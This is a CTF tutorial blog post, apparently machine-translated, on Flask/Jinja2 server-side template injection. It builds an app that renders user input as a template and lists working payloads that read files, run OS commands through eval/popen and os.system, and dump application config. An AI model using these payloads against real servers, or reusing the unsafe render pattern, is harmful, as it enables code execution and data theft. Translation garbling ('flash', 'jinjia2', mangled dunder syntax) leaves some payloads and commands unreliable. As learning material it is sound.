CTF_Web: Learn flash template injection (SSTI) from 0

Posted by orangehairedboy on Sat, 18 Dec 2021 03:26:28 +0100

0x01 Preface

Recently, in the process of question brushing, it is found that the problems of template injection on the server side are also common. These injection problems are similar. The difference is that different frameworks and different filtering rules may require different final payload s. This paper will take Flask as an example to learn the relevant knowledge of template injection, which is also a record of their own learning.

0x02 introduction to flask

Flask is a Web micro framework written in Python, which allows us to quickly implement a website or Web service using Python language. The advantage is that the development is simple, the amount of code is small, and a lot of work is implemented in the framework. It is different from Django. Django is a versatile framework, which is usually used to write large websites.
Jinjia2, template and Mako are all engines that provide functional support for the framework. They have their own advantages and disadvantages, and they are not our main learning content. However, we should know that the default engine used by Flask is jinjia2. This article will also mainly analyze the injection problem in jinjia2.
First, configure the flash and jinjia2 engine environments:

pip3 install flask
pip3 install jinjia2

At this time, use Python - C "import flash" to echo the error free information to prove that the required environment has been installed. Let's start with the simplest example of flash.

0x03 simple flash example

#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__)  # Create a float class
@app.route("/")  #Set default route for
def index(): #The default view function, bound to the route, is used to handle the situation when users visit the website and directory / directory
    name = request.args.get('name', 'guest')#Accept the parameter named name passed in
    html = '''
    <h3>your input %s</h3>
    '''%name #Set a template html and output the value of name as% s
    return render_template_string(html) #Render html as a string template
    #Correspondingly, when html is a file, render is used_ Template function to render a specified file
if __name__=='__main__': #When starting as master file
    app.run(debug = True)  #Run in debug mode

Through the annotation explanation of the above simple example, we can see that a complete and simple flash framework, By one or more routes (route) and the bound view function, and the view function is used to process the route accessed by the user, including receiving parameters, creating templates, rendering, etc. for us, the problem is that the user's input is not restricted and filtered during render rendering, resulting in malicious code injection and user input execution Code for.
When you need to constantly modify the code, it is recommended to turn on the debug mode, otherwise you need to restart the py file every time you modify. It is more troublesome. Start the debug mode and use the following statement.

app.debug = True
 perhaps
app.run(debug=True)

After the above example runs, the default page will be returned at localhost:5000, as shown in the figure:

When the parameter name is passed in, the Template will be created by the Template and rendered as the content displayed on the page.
For example, pass in name=AFCC_

Next, we will introduce the syntax in jinjia2 engine and describe the harm that will be caused if user input is not restricted.

0x04 jinjia2 engine injection test and common payload

In the jinjia2 engine:

{{ ... }}: When loading a variable and rendering the template, it will be replaced with the value represented by the parameter with the same name.
{% ... %}: Load a control statement.
{# ... #}: when loading a comment, the intermediate value will be ignored when rendering the template

The most commonly used test is {}}, which tests whether the values in curly braces are controllable and rendered by the template.
For example, {{7 * 7}} or {{7 *'7 '}}, the returns are:

It can be seen that the user's input in {}} is regarded as a new variable by the engine for rendering. At this time, the basic conditions of code execution and controllable input are met.
Let's first learn about several important classes and attributes in the template to facilitate subsequent calls to the specified sensitive module.
First

__class__ Returns the object to which the type belongs
__mro__Returns a base class tuple inherited by the containing object. When parsing, the method parses in the order of tuples, which is class The class to which the returned object belongs.
__base__Returns the base class inherited by the object, which is class The class to which the returned object belongs.
__subclasses__Returns all subclasses in the base class. Each new class retains the reference of the subclass. This method returns a list of references that are still available in a class
__globals__The reference to the dictionary containing the global variables of the function, including
get_flashed_messages() Return in Flask Passed in flash() List of incoming flash messages. Add the message represented by the string object to a message queue, and then call get_flashed_messages() Method take out(The flash message can only be taken out once. After taking out, the flash message will be cleared). 

Let's test the returned content one by one.
First__ class__, Here, an empty string is used as the content '', and {''. __} is passed in
Returns a string object, and then uses__ mro__ Or__ base__ Gets the base class of the string object.
It can be seen here__ base__ Returns the direct inheritance class of the current class, and__ mro__ Returns the tuple inherited by the current class, including multiple classes.
Therefore, we choose to directly inherit the object whose class is object, and use {[]. _ class. _ base}}, Object will be returned directly.

When we select the object class from multiple base classes, we can see that there are many subclasses in the base class.
We want to use the following points:

One is the read function in the file module, which is used to read various files, sensitive information, etc. But in
Second, warnings catch_ Warnings (you need to import the os module yourself), socket_ Socketobject (you need to import the os module), site_ Printer,site. The built-in os of quitter and other modules. Through the os module, we can perform operations such as system executing commands (0 will be returned if the system executes successfully and will not be displayed on the page), reading files through popen pipeline, listdir column directory, etc.
Third, get_ flashed_ Get flash messages with messages()

1.file module

Find the file module through the index and use the read function to read the file.

{{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}

2.os module


The [60] here is warnings catch_ warnings
[133] it's a socket_ Socketobject, you can see that the os is not imported.
Use here__ builtins__ The eval function in is imported into the os module to execute type commands.

{{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

Return in Linux (157 in Linux is warnings.catch_warnings)


Through searching, the built-in os can directly use the following two modules.
[72]site._Printer
[77]site.Quitter
Here we use OS System executes the command.

{{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}

The browser returns 0, which means the execution is successful, but the execution result can be seen in the debugging information

Of course, the difference of the environment will also make the index value different, so we need a script to help us judge the index value of the current environment.
The most convenient way, of course, is to execute commands directly using classes that already have os modules.
Here, all the obtained subclasses are assigned to the list, and the required modules are found after processing.
(script from) Binary arithmetic i)

def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.replace(' ','')
    list = list.split(',')
    print(list)
    className = 'warnings.catch_warnings' #Module name to find
    num = list.index(className)
    print(num) #Return index
if __name__ == '__main__':
    find()

3.get_ flashed_ Get flash messages with messages()

Use {{get_flashed_messages. _global _}} To obtain global information, we can see many sensitive information here, but the function name also tells us that we can only obtain information and cannot use and execute modules as above. Here, it means that the value of the app itself is current_app
Use config to obtain configuration information. Of course, the config here can be obtained directly. This method can be used when it is filtered at some time. (attack and defense world web_shrink)

get_flashed_messages.__globals__['current_app'].config

0x05 reference article

SSTI template injection
python learning notes (learn about Flask and jinjia2 engines)
Flash template injection
Flash SSTI considerations and some POC S

Topics: Python Web Development Flask unctf